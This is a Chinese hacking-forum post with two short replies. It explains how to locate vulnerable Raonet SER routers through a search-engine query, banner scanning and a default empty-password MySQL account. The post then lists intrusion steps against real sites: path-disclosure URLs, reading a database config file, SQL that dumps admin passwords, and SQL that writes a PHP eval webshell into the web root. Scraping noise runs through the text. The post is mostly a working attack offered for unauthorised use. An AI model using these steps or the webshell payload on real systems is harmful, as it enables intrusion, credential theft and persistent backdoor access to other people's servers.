利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

8 t3 Y8 k6 B9 z% d1：google搜索'Raonet Subscriber Ethernet Router'
; x# o5 Q7 E6 C9 }- x4 z7 x
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
  }; d1 \# l3 t
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
- _  }4 T" F9 o# d, K% `9 O# a0 n; j
: k- V2 t9 r, ?4 w: A//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

7 j# D  L8 d; `  i/ }& x

入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

7 E. |& _) F2 ^6 I" T; p6 b2 x, t2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
/ m7 d& S- e$ Q) {- o5 V3：得到密码后连接，查看GUI管理密码：
1 }4 M2 L/ k# ^, ~( Y+ euse ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
  w& R! V* d- Euse mysql;
create table ok(cmd TEXT);
* X$ Y8 I9 y) _; l+ Qinsert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
1 D3 |$ r1 J9 M3 _drop table ok;

' V9 f3 i9 y( A0 j6 g5:连接后门shell.php

6. 搞定！
# n' Q3 U7 a% K1 a! Y- y

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。